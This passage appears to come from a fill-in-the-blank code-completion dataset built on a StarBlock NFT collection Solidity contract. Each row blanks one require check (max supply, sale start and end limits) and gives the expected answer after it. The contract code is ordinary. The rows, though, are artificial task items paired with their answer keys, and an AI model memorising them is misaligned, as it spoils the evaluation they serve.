function supportsInterface(bytes4 _interfaceId) external view override(IERC165, IERC721A) returns (bool);
function maxSupply() external view returns (uint256);
function exists(uint256 _tokenId) external view returns (bool);
function maxAmountForArtist() external view returns (uint256);
function artistMinted() external view returns (uint256);
function chargeToken() external view returns (IERC20);
// function whitelistSaleConfig() external view returns (SaleConfig memory);
function whitelistSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function whitelist(address _user) external view returns (bool);
function whitelistAmount() external view returns (uint256);
function whitelistSaleMinted(address _user) external view returns (uint256);
// function publicSaleConfig() external view returns (SaleConfig memory);
function publicSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function publicSaleMinted(address _user) external view returns (uint256);
function userCanMintTotalAmount() external view returns (uint256);
function whitelistMint(uint256 _amount) external payable;
function publicMint(uint256 _amount) external payable;
}
//The ERC721 collection for Artist on StarBlock NFT Marketplace, the owner is Artist and the protocol fee is for StarBlock.
contract StarBlockCollection is IStarBlockCollection, ERC721AQueryable, ERC2981, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable maxSupply;
string private baseTokenURI;
uint256 public immutable maxAmountForArtist;
uint256 public artistMinted;// the total minted amount for artist by artistMint method
IERC20 public chargeToken;// the charge token for mint, zero for ETH
address payable public protocolFeeReceiver;// fee receiver address for protocol
uint256 public protocolFeeNumerator; // div _feeDenominator()(is 10000) is the real ratio
SaleConfig public whitelistSaleConfig;
mapping(address => bool) public whitelist;
uint256 public whitelistAmount;
mapping(address => uint256) public whitelistSaleMinted;
//public mint config
SaleConfig public publicSaleConfig;
mapping(address => uint256) public publicSaleMinted;
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address payable _protocolFeeReceiver,
uint256 _protocolFeeNumerator,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) ERC721A(_name, _symbol) {
}
function whitelistMint(uint256 _amount) external payable callerIsUser {
}
function publicMint(uint256 _amount) external payable callerIsUser {
}
function artistMint(uint256 _amount) external onlyOwner nonReentrant {
require(_amount > 0, "StarBlockCollection: amount should be greater than 0!");
require((artistMinted + _amount) <= maxAmountForArtist, "StarBlockCollection: reached max amount for artist!");
require(<FILL_ME>)
artistMinted += _amount;
_safeMint(msg.sender, _amount);
}
function userCanMintTotalAmount() public view returns (uint256) {
}
function _checkUserCanMint(SaleConfig memory _saleConfig, uint256 _amount, uint256 _mintedAmount) internal view {
}
function _charge(uint256 _amount) internal nonReentrant {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(IStarBlockCollection, ERC2981, ERC721A) returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _baseTokenURI) external onlyOwner nonReentrant {
}
function addWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function removeWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function _checkSaleConfig(SaleConfig memory _saleConfig) internal pure returns (bool) {
}
function updateWhitelistSaleConfig(SaleConfig memory _whitelistSaleConfig) external onlyOwner nonReentrant {
}
function updateWhitelistSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updatePublicSaleConfig(SaleConfig memory _publicSaleConfig) external onlyOwner nonReentrant {
}
function updatePublicSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updateChargeToken(IERC20 _chargeToken) external onlyOwner nonReentrant {
}
function updateProtocolFeeReceiverAndNumerator(address payable _protocolFeeReceiver, uint256 _protocolFeeNumerator) external nonReentrant {
}
function withdrawMoney() external onlyOwner {
}
function _getRevenueAmount() internal view returns (uint256 _amount){
}
function _transferRevenue(address payable _user, uint256 _amount) internal nonReentrant returns (bool _success) {
}
function _transferETH(address payable _user, uint256 _amount) internal returns (bool _success) {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) external onlyOwner nonReentrant {
}
function deleteDefaultRoyalty() external onlyOwner nonReentrant {
}
function exists(uint256 _tokenId) external view returns (bool) {
}
}
interface IStarBlockCollectionFactory {
event CollectionDeployed(IStarBlockCollection _collection, address _user, string _uuid);
function collections(IStarBlockCollection _collection) external view returns (address);
function collectionsAmount() external view returns (uint256);
function collectionProtocolFeeReceiver() external view returns (address payable);
function collectionProtocolFeeNumerator() external view returns (uint256);
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external returns (IStarBlockCollection _collection);
}
contract StarBlockCollectionFactory is IStarBlockCollectionFactory, Ownable, ReentrancyGuard {
uint256 public constant FEE_DENOMINATOR = 10000;
mapping(IStarBlockCollection => address) public collections;
uint256 public collectionsAmount;
address payable public collectionProtocolFeeReceiver;
uint256 public collectionProtocolFeeNumerator; //should less than FEE_DENOMINATOR
constructor(
address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator
) {
}
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external nonReentrant returns (IStarBlockCollection _collection) {
}
function updateCollectionProtocolFeeReceiverAndNumerator(address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator) external onlyOwner nonReentrant {
}
}
| (totalSupply()+_amount)<=maxSupply,"StarBlockCollection: reached max supply!" | 71,841 | (totalSupply()+_amount)<=maxSupply |
"StarBlockCollection: reached max supply!" | // ░██████╗████████╗░█████╗░██████╗░██████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗
// ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░██╔╝
// ╚█████╗░░░░██║░░░███████║██████╔╝██████╦╝██║░░░░░██║░░██║██║░░╚═╝█████═╝░
// ░╚═══██╗░░░██║░░░██╔══██║██╔══██╗██╔══██╗██║░░░░░██║░░██║██║░░██╗██╔═██╗░
// ██████╔╝░░░██║░░░██║░░██║██║░░██║██████╦╝███████╗╚█████╔╝╚█████╔╝██║░╚██╗
// ╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚══════╝░╚════╝░░╚════╝░╚═╝░░╚═╝
// SPDX-License-Identifier: MIT
// StarBlock Contracts, more: https://www.starblock.io/
pragma solidity ^0.8.10;
//import "erc721a/contracts/extensions/ERC721AQueryable.sol";
//import "@openzeppelin/contracts/token/common/ERC2981.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
//import "@openzeppelin/contracts/access/Ownable.sol";
//import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721AQueryable.sol";
import "./ERC2981.sol";
import "./IERC20.sol";
import "./SafeERC20.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
interface IStarBlockCollection is IERC721AQueryable, IERC2981 {
struct SaleConfig {
uint256 startTime;// 0 for not set
uint256 endTime;// 0 for will not end
uint256 price;
uint256 maxAmountPerAddress;// 0 for not limit the amount per address
}
event UpdateWhitelistSaleConfig(SaleConfig _whitelistSaleConfig);
event UpdateWhitelistSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdatePublicSaleConfig(SaleConfig _publicSaleConfig);
event UpdatePublicSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdateChargeToken(IERC20 _chargeToken);
function supportsInterface(bytes4 _interfaceId) external view override(IERC165, IERC721A) returns (bool);
function maxSupply() external view returns (uint256);
function exists(uint256 _tokenId) external view returns (bool);
function maxAmountForArtist() external view returns (uint256);
function artistMinted() external view returns (uint256);
function chargeToken() external view returns (IERC20);
// function whitelistSaleConfig() external view returns (SaleConfig memory);
function whitelistSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function whitelist(address _user) external view returns (bool);
function whitelistAmount() external view returns (uint256);
function whitelistSaleMinted(address _user) external view returns (uint256);
// function publicSaleConfig() external view returns (SaleConfig memory);
function publicSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function publicSaleMinted(address _user) external view returns (uint256);
function userCanMintTotalAmount() external view returns (uint256);
function whitelistMint(uint256 _amount) external payable;
function publicMint(uint256 _amount) external payable;
}
//The ERC721 collection for Artist on StarBlock NFT Marketplace, the owner is Artist and the protocol fee is for StarBlock.
contract StarBlockCollection is IStarBlockCollection, ERC721AQueryable, ERC2981, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable maxSupply;
string private baseTokenURI;
uint256 public immutable maxAmountForArtist;
uint256 public artistMinted;// the total minted amount for artist by artistMint method
IERC20 public chargeToken;// the charge token for mint, zero for ETH
address payable public protocolFeeReceiver;// fee receiver address for protocol
uint256 public protocolFeeNumerator; // div _feeDenominator()(is 10000) is the real ratio
SaleConfig public whitelistSaleConfig;
mapping(address => bool) public whitelist;
uint256 public whitelistAmount;
mapping(address => uint256) public whitelistSaleMinted;
//public mint config
SaleConfig public publicSaleConfig;
mapping(address => uint256) public publicSaleMinted;
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address payable _protocolFeeReceiver,
uint256 _protocolFeeNumerator,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) ERC721A(_name, _symbol) {
}
function whitelistMint(uint256 _amount) external payable callerIsUser {
}
function publicMint(uint256 _amount) external payable callerIsUser {
}
function artistMint(uint256 _amount) external onlyOwner nonReentrant {
}
function userCanMintTotalAmount() public view returns (uint256) {
}
function _checkUserCanMint(SaleConfig memory _saleConfig, uint256 _amount, uint256 _mintedAmount) internal view {
require(_amount > 0, "StarBlockCollection: amount should be greater than 0!");
require(<FILL_ME>)
require(_saleConfig.startTime > 0, "StarBlockCollection: sale has not set!");
require(_saleConfig.startTime <= block.timestamp, "StarBlockCollection: sale has not started yet!");
require(_saleConfig.endTime == 0 || _saleConfig.endTime >= block.timestamp, "StarBlockCollection: sale has ended!");
require(_saleConfig.maxAmountPerAddress == 0 || (_mintedAmount + _amount) <= _saleConfig.maxAmountPerAddress,
"StarBlockCollection: reached max amount per address!");
}
function _charge(uint256 _amount) internal nonReentrant {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(IStarBlockCollection, ERC2981, ERC721A) returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _baseTokenURI) external onlyOwner nonReentrant {
}
function addWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function removeWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function _checkSaleConfig(SaleConfig memory _saleConfig) internal pure returns (bool) {
}
function updateWhitelistSaleConfig(SaleConfig memory _whitelistSaleConfig) external onlyOwner nonReentrant {
}
function updateWhitelistSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updatePublicSaleConfig(SaleConfig memory _publicSaleConfig) external onlyOwner nonReentrant {
}
function updatePublicSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updateChargeToken(IERC20 _chargeToken) external onlyOwner nonReentrant {
}
function updateProtocolFeeReceiverAndNumerator(address payable _protocolFeeReceiver, uint256 _protocolFeeNumerator) external nonReentrant {
}
function withdrawMoney() external onlyOwner {
}
function _getRevenueAmount() internal view returns (uint256 _amount){
}
function _transferRevenue(address payable _user, uint256 _amount) internal nonReentrant returns (bool _success) {
}
function _transferETH(address payable _user, uint256 _amount) internal returns (bool _success) {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) external onlyOwner nonReentrant {
}
function deleteDefaultRoyalty() external onlyOwner nonReentrant {
}
function exists(uint256 _tokenId) external view returns (bool) {
}
}
interface IStarBlockCollectionFactory {
event CollectionDeployed(IStarBlockCollection _collection, address _user, string _uuid);
function collections(IStarBlockCollection _collection) external view returns (address);
function collectionsAmount() external view returns (uint256);
function collectionProtocolFeeReceiver() external view returns (address payable);
function collectionProtocolFeeNumerator() external view returns (uint256);
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external returns (IStarBlockCollection _collection);
}
contract StarBlockCollectionFactory is IStarBlockCollectionFactory, Ownable, ReentrancyGuard {
uint256 public constant FEE_DENOMINATOR = 10000;
mapping(IStarBlockCollection => address) public collections;
uint256 public collectionsAmount;
address payable public collectionProtocolFeeReceiver;
uint256 public collectionProtocolFeeNumerator; //should less than FEE_DENOMINATOR
constructor(
address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator
) {
}
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external nonReentrant returns (IStarBlockCollection _collection) {
}
function updateCollectionProtocolFeeReceiverAndNumerator(address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator) external onlyOwner nonReentrant {
}
}
| userCanMintTotalAmount()>=_amount,"StarBlockCollection: reached max supply!" | 71,841 | userCanMintTotalAmount()>=_amount |
"StarBlockCollection: start time should be within 180 days!" | // ░██████╗████████╗░█████╗░██████╗░██████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗
// ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░██╔╝
// ╚█████╗░░░░██║░░░███████║██████╔╝██████╦╝██║░░░░░██║░░██║██║░░╚═╝█████═╝░
// ░╚═══██╗░░░██║░░░██╔══██║██╔══██╗██╔══██╗██║░░░░░██║░░██║██║░░██╗██╔═██╗░
// ██████╔╝░░░██║░░░██║░░██║██║░░██║██████╦╝███████╗╚█████╔╝╚█████╔╝██║░╚██╗
// ╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚══════╝░╚════╝░░╚════╝░╚═╝░░╚═╝
// SPDX-License-Identifier: MIT
// StarBlock Contracts, more: https://www.starblock.io/
pragma solidity ^0.8.10;
//import "erc721a/contracts/extensions/ERC721AQueryable.sol";
//import "@openzeppelin/contracts/token/common/ERC2981.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
//import "@openzeppelin/contracts/access/Ownable.sol";
//import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721AQueryable.sol";
import "./ERC2981.sol";
import "./IERC20.sol";
import "./SafeERC20.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
interface IStarBlockCollection is IERC721AQueryable, IERC2981 {
struct SaleConfig {
uint256 startTime;// 0 for not set
uint256 endTime;// 0 for will not end
uint256 price;
uint256 maxAmountPerAddress;// 0 for not limit the amount per address
}
event UpdateWhitelistSaleConfig(SaleConfig _whitelistSaleConfig);
event UpdateWhitelistSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdatePublicSaleConfig(SaleConfig _publicSaleConfig);
event UpdatePublicSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdateChargeToken(IERC20 _chargeToken);
function supportsInterface(bytes4 _interfaceId) external view override(IERC165, IERC721A) returns (bool);
function maxSupply() external view returns (uint256);
function exists(uint256 _tokenId) external view returns (bool);
function maxAmountForArtist() external view returns (uint256);
function artistMinted() external view returns (uint256);
function chargeToken() external view returns (IERC20);
// function whitelistSaleConfig() external view returns (SaleConfig memory);
function whitelistSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function whitelist(address _user) external view returns (bool);
function whitelistAmount() external view returns (uint256);
function whitelistSaleMinted(address _user) external view returns (uint256);
// function publicSaleConfig() external view returns (SaleConfig memory);
function publicSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function publicSaleMinted(address _user) external view returns (uint256);
function userCanMintTotalAmount() external view returns (uint256);
function whitelistMint(uint256 _amount) external payable;
function publicMint(uint256 _amount) external payable;
}
//The ERC721 collection for Artist on StarBlock NFT Marketplace, the owner is Artist and the protocol fee is for StarBlock.
contract StarBlockCollection is IStarBlockCollection, ERC721AQueryable, ERC2981, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable maxSupply;
string private baseTokenURI;
uint256 public immutable maxAmountForArtist;
uint256 public artistMinted;// the total minted amount for artist by artistMint method
IERC20 public chargeToken;// the charge token for mint, zero for ETH
address payable public protocolFeeReceiver;// fee receiver address for protocol
uint256 public protocolFeeNumerator; // div _feeDenominator()(is 10000) is the real ratio
SaleConfig public whitelistSaleConfig;
mapping(address => bool) public whitelist;
uint256 public whitelistAmount;
mapping(address => uint256) public whitelistSaleMinted;
//public mint config
SaleConfig public publicSaleConfig;
mapping(address => uint256) public publicSaleMinted;
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address payable _protocolFeeReceiver,
uint256 _protocolFeeNumerator,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) ERC721A(_name, _symbol) {
}
function whitelistMint(uint256 _amount) external payable callerIsUser {
}
function publicMint(uint256 _amount) external payable callerIsUser {
}
function artistMint(uint256 _amount) external onlyOwner nonReentrant {
}
function userCanMintTotalAmount() public view returns (uint256) {
}
function _checkUserCanMint(SaleConfig memory _saleConfig, uint256 _amount, uint256 _mintedAmount) internal view {
}
function _charge(uint256 _amount) internal nonReentrant {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(IStarBlockCollection, ERC2981, ERC721A) returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _baseTokenURI) external onlyOwner nonReentrant {
}
function addWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function removeWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function _checkSaleConfig(SaleConfig memory _saleConfig) internal pure returns (bool) {
}
function updateWhitelistSaleConfig(SaleConfig memory _whitelistSaleConfig) external onlyOwner nonReentrant {
require(whitelistSaleConfig.startTime == 0 || whitelistSaleConfig.startTime > block.timestamp, "StarBlockCollection: can only change the unstarted sale config!");
require(_whitelistSaleConfig.startTime == 0 || _whitelistSaleConfig.startTime > block.timestamp, "StarBlockCollection: the new config should not be started!");
require(<FILL_ME>)
require(_whitelistSaleConfig.endTime < (block.timestamp + 900 days), "StarBlockCollection: end time should be within 900 days!");
require(_checkSaleConfig(_whitelistSaleConfig), "StarBlockCollection: invalid parameters!");
whitelistSaleConfig.startTime = _whitelistSaleConfig.startTime;
whitelistSaleConfig.endTime = _whitelistSaleConfig.endTime;
whitelistSaleConfig.price = _whitelistSaleConfig.price;
whitelistSaleConfig.maxAmountPerAddress = _whitelistSaleConfig.maxAmountPerAddress;
emit UpdateWhitelistSaleConfig(_whitelistSaleConfig);
}
function updateWhitelistSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updatePublicSaleConfig(SaleConfig memory _publicSaleConfig) external onlyOwner nonReentrant {
}
function updatePublicSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updateChargeToken(IERC20 _chargeToken) external onlyOwner nonReentrant {
}
function updateProtocolFeeReceiverAndNumerator(address payable _protocolFeeReceiver, uint256 _protocolFeeNumerator) external nonReentrant {
}
function withdrawMoney() external onlyOwner {
}
function _getRevenueAmount() internal view returns (uint256 _amount){
}
function _transferRevenue(address payable _user, uint256 _amount) internal nonReentrant returns (bool _success) {
}
function _transferETH(address payable _user, uint256 _amount) internal returns (bool _success) {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) external onlyOwner nonReentrant {
}
function deleteDefaultRoyalty() external onlyOwner nonReentrant {
}
function exists(uint256 _tokenId) external view returns (bool) {
}
}
interface IStarBlockCollectionFactory {
event CollectionDeployed(IStarBlockCollection _collection, address _user, string _uuid);
function collections(IStarBlockCollection _collection) external view returns (address);
function collectionsAmount() external view returns (uint256);
function collectionProtocolFeeReceiver() external view returns (address payable);
function collectionProtocolFeeNumerator() external view returns (uint256);
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external returns (IStarBlockCollection _collection);
}
contract StarBlockCollectionFactory is IStarBlockCollectionFactory, Ownable, ReentrancyGuard {
uint256 public constant FEE_DENOMINATOR = 10000;
mapping(IStarBlockCollection => address) public collections;
uint256 public collectionsAmount;
address payable public collectionProtocolFeeReceiver;
uint256 public collectionProtocolFeeNumerator; //should less than FEE_DENOMINATOR
constructor(
address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator
) {
}
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external nonReentrant returns (IStarBlockCollection _collection) {
}
function updateCollectionProtocolFeeReceiverAndNumerator(address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator) external onlyOwner nonReentrant {
}
}
| _whitelistSaleConfig.startTime<(block.timestamp+180days),"StarBlockCollection: start time should be within 180 days!" | 71,841 | _whitelistSaleConfig.startTime<(block.timestamp+180days) |
"StarBlockCollection: end time should be within 900 days!" | // ░██████╗████████╗░█████╗░██████╗░██████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗
// ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░██╔╝
// ╚█████╗░░░░██║░░░███████║██████╔╝██████╦╝██║░░░░░██║░░██║██║░░╚═╝█████═╝░
// ░╚═══██╗░░░██║░░░██╔══██║██╔══██╗██╔══██╗██║░░░░░██║░░██║██║░░██╗██╔═██╗░
// ██████╔╝░░░██║░░░██║░░██║██║░░██║██████╦╝███████╗╚█████╔╝╚█████╔╝██║░╚██╗
// ╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚══════╝░╚════╝░░╚════╝░╚═╝░░╚═╝
// SPDX-License-Identifier: MIT
// StarBlock Contracts, more: https://www.starblock.io/
pragma solidity ^0.8.10;
//import "erc721a/contracts/extensions/ERC721AQueryable.sol";
//import "@openzeppelin/contracts/token/common/ERC2981.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
//import "@openzeppelin/contracts/access/Ownable.sol";
//import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721AQueryable.sol";
import "./ERC2981.sol";
import "./IERC20.sol";
import "./SafeERC20.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
interface IStarBlockCollection is IERC721AQueryable, IERC2981 {
struct SaleConfig {
uint256 startTime;// 0 for not set
uint256 endTime;// 0 for will not end
uint256 price;
uint256 maxAmountPerAddress;// 0 for not limit the amount per address
}
event UpdateWhitelistSaleConfig(SaleConfig _whitelistSaleConfig);
event UpdateWhitelistSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdatePublicSaleConfig(SaleConfig _publicSaleConfig);
event UpdatePublicSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdateChargeToken(IERC20 _chargeToken);
function supportsInterface(bytes4 _interfaceId) external view override(IERC165, IERC721A) returns (bool);
function maxSupply() external view returns (uint256);
function exists(uint256 _tokenId) external view returns (bool);
function maxAmountForArtist() external view returns (uint256);
function artistMinted() external view returns (uint256);
function chargeToken() external view returns (IERC20);
// function whitelistSaleConfig() external view returns (SaleConfig memory);
function whitelistSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function whitelist(address _user) external view returns (bool);
function whitelistAmount() external view returns (uint256);
function whitelistSaleMinted(address _user) external view returns (uint256);
// function publicSaleConfig() external view returns (SaleConfig memory);
function publicSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function publicSaleMinted(address _user) external view returns (uint256);
function userCanMintTotalAmount() external view returns (uint256);
function whitelistMint(uint256 _amount) external payable;
function publicMint(uint256 _amount) external payable;
}
//The ERC721 collection for Artist on StarBlock NFT Marketplace, the owner is Artist and the protocol fee is for StarBlock.
contract StarBlockCollection is IStarBlockCollection, ERC721AQueryable, ERC2981, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable maxSupply;
string private baseTokenURI;
uint256 public immutable maxAmountForArtist;
uint256 public artistMinted;// the total minted amount for artist by artistMint method
IERC20 public chargeToken;// the charge token for mint, zero for ETH
address payable public protocolFeeReceiver;// fee receiver address for protocol
uint256 public protocolFeeNumerator; // div _feeDenominator()(is 10000) is the real ratio
SaleConfig public whitelistSaleConfig;
mapping(address => bool) public whitelist;
uint256 public whitelistAmount;
mapping(address => uint256) public whitelistSaleMinted;
//public mint config
SaleConfig public publicSaleConfig;
mapping(address => uint256) public publicSaleMinted;
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address payable _protocolFeeReceiver,
uint256 _protocolFeeNumerator,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) ERC721A(_name, _symbol) {
}
function whitelistMint(uint256 _amount) external payable callerIsUser {
}
function publicMint(uint256 _amount) external payable callerIsUser {
}
function artistMint(uint256 _amount) external onlyOwner nonReentrant {
}
function userCanMintTotalAmount() public view returns (uint256) {
}
function _checkUserCanMint(SaleConfig memory _saleConfig, uint256 _amount, uint256 _mintedAmount) internal view {
}
function _charge(uint256 _amount) internal nonReentrant {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(IStarBlockCollection, ERC2981, ERC721A) returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _baseTokenURI) external onlyOwner nonReentrant {
}
function addWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function removeWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function _checkSaleConfig(SaleConfig memory _saleConfig) internal pure returns (bool) {
}
function updateWhitelistSaleConfig(SaleConfig memory _whitelistSaleConfig) external onlyOwner nonReentrant {
require(whitelistSaleConfig.startTime == 0 || whitelistSaleConfig.startTime > block.timestamp, "StarBlockCollection: can only change the unstarted sale config!");
require(_whitelistSaleConfig.startTime == 0 || _whitelistSaleConfig.startTime > block.timestamp, "StarBlockCollection: the new config should not be started!");
require(_whitelistSaleConfig.startTime < (block.timestamp + 180 days), "StarBlockCollection: start time should be within 180 days!");
require(<FILL_ME>)
require(_checkSaleConfig(_whitelistSaleConfig), "StarBlockCollection: invalid parameters!");
whitelistSaleConfig.startTime = _whitelistSaleConfig.startTime;
whitelistSaleConfig.endTime = _whitelistSaleConfig.endTime;
whitelistSaleConfig.price = _whitelistSaleConfig.price;
whitelistSaleConfig.maxAmountPerAddress = _whitelistSaleConfig.maxAmountPerAddress;
emit UpdateWhitelistSaleConfig(_whitelistSaleConfig);
}
function updateWhitelistSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updatePublicSaleConfig(SaleConfig memory _publicSaleConfig) external onlyOwner nonReentrant {
}
function updatePublicSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updateChargeToken(IERC20 _chargeToken) external onlyOwner nonReentrant {
}
function updateProtocolFeeReceiverAndNumerator(address payable _protocolFeeReceiver, uint256 _protocolFeeNumerator) external nonReentrant {
}
function withdrawMoney() external onlyOwner {
}
function _getRevenueAmount() internal view returns (uint256 _amount){
}
function _transferRevenue(address payable _user, uint256 _amount) internal nonReentrant returns (bool _success) {
}
function _transferETH(address payable _user, uint256 _amount) internal returns (bool _success) {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) external onlyOwner nonReentrant {
}
function deleteDefaultRoyalty() external onlyOwner nonReentrant {
}
function exists(uint256 _tokenId) external view returns (bool) {
}
}
interface IStarBlockCollectionFactory {
event CollectionDeployed(IStarBlockCollection _collection, address _user, string _uuid);
function collections(IStarBlockCollection _collection) external view returns (address);
function collectionsAmount() external view returns (uint256);
function collectionProtocolFeeReceiver() external view returns (address payable);
function collectionProtocolFeeNumerator() external view returns (uint256);
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external returns (IStarBlockCollection _collection);
}
contract StarBlockCollectionFactory is IStarBlockCollectionFactory, Ownable, ReentrancyGuard {
